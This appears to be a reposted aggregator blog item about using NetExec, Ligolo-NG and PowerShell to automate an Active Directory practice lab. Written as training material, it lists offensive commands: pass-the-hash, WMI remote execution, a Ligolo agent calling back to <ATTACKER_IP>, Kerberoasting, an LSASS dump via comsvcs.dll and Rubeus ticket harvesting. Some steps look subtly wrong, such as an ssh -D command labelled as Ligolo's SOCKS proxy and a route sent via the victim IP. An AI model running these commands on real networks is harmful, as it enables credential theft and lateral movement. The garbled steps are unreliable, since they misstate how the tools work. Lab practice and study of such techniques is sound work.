Customizing NetExec and Ligolo for Active Directory Lab Automation

Listen to this Post

Jose C., a Database Security Engineer, shared his experience customizing NetExec and Ligolo for an Active Directory (AD) Lab, leveraging Andrew Lobenstein’s AD Lab automation scripts. His post highlights the efficiency of automation in cybersecurity labs, particularly for OSCP preparation, pivoting, and AD hacking.

🔗 Reference: Andrew Lobenstein’s AD Lab Automation Scripts

You Should Know:

1. NetExec (A Modern CrackMapExec)

NetExec is a powerful post-exploitation tool for assessing AD security. Below are key commands:

 Basic usage (SMB protocol) 
netexec smb <TARGET_IP> -u <USERNAME> -p <PASSWORD> --shares

Pass-the-Hash Attack 
netexec smb <TARGET_IP> -u <USERNAME> -H <NTLM_HASH> --local-auth

Execute commands via WMI 
netexec wmi <TARGET_IP> -u <ADMIN_USER> -p <PASSWORD> -X "whoami" 

2. Ligolo-NG (Advanced Tunneling/Pivoting)

Ligolo-NG is a tunneling tool for pivoting in compromised networks.

Setup:

 Start the proxy server (Attacker Machine) 
./ligolo -selfcert -laddr 0.0.0.0:443

On the Victim Machine (Agent) 
./ligolo-agent -connect <ATTACKER_IP>:443 -ignore-cert 

Routing Traffic:

 Add a new route 
sudo ip route add <TARGET_SUBNET> via <VICTIM_IP>

Use Ligolo as a SOCKS proxy 
ssh -D 1080 -N -f user@ligolo_proxy 

3. Automating AD Labs with PowerShell

Andrew Lobenstein’s scripts help automate AD lab setups. Key steps:

 Create AD Users 
New-ADUser -Name "TestUser" -AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true

Configure Group Policy (GPO) 
Import-Module GroupPolicy 
New-GPO -Name "SecureConfig" | New-GPLink -Target "dc=lab,dc=local" 

What Undercode Say:

Automating Active Directory labs with tools like NetExec, Ligolo, and PowerShell is essential for red teaming, OSCP prep, and penetration testing. Below are additional Linux/Windows commands for AD exploitation:

Linux (AD-Related Commands)

 Enumerate LDAP 
ldapsearch -x -H ldap://<DC_IP> -D "cn=admin,dc=lab,dc=local" -w "password" -b "dc=lab,dc=local"

Kerberoasting with Impacket 
GetUserSPNs.py lab.local/user:password -dc-ip <DC_IP> -request 

Windows (AD Commands)

 Dump LSASS (Mimikatz Alternative) 
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> lsass.dmp full

Extract Tickets with Rubeus 
Rubeus.exe harvest /interval:30 

Conclusion: Automating lab setups with NetExec, Ligolo, and PowerShell accelerates AD security testing. Mastering these tools is crucial for cybersecurity professionals.

Expected Output:

  • A fully automated AD lab for penetration testing.
  • Efficient pivoting and lateral movement with Ligolo.
  • Post-exploitation using NetExec for AD enumeration.

🔗 Further Reading:

References:

Reported By: Activity 7318424911629205505 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image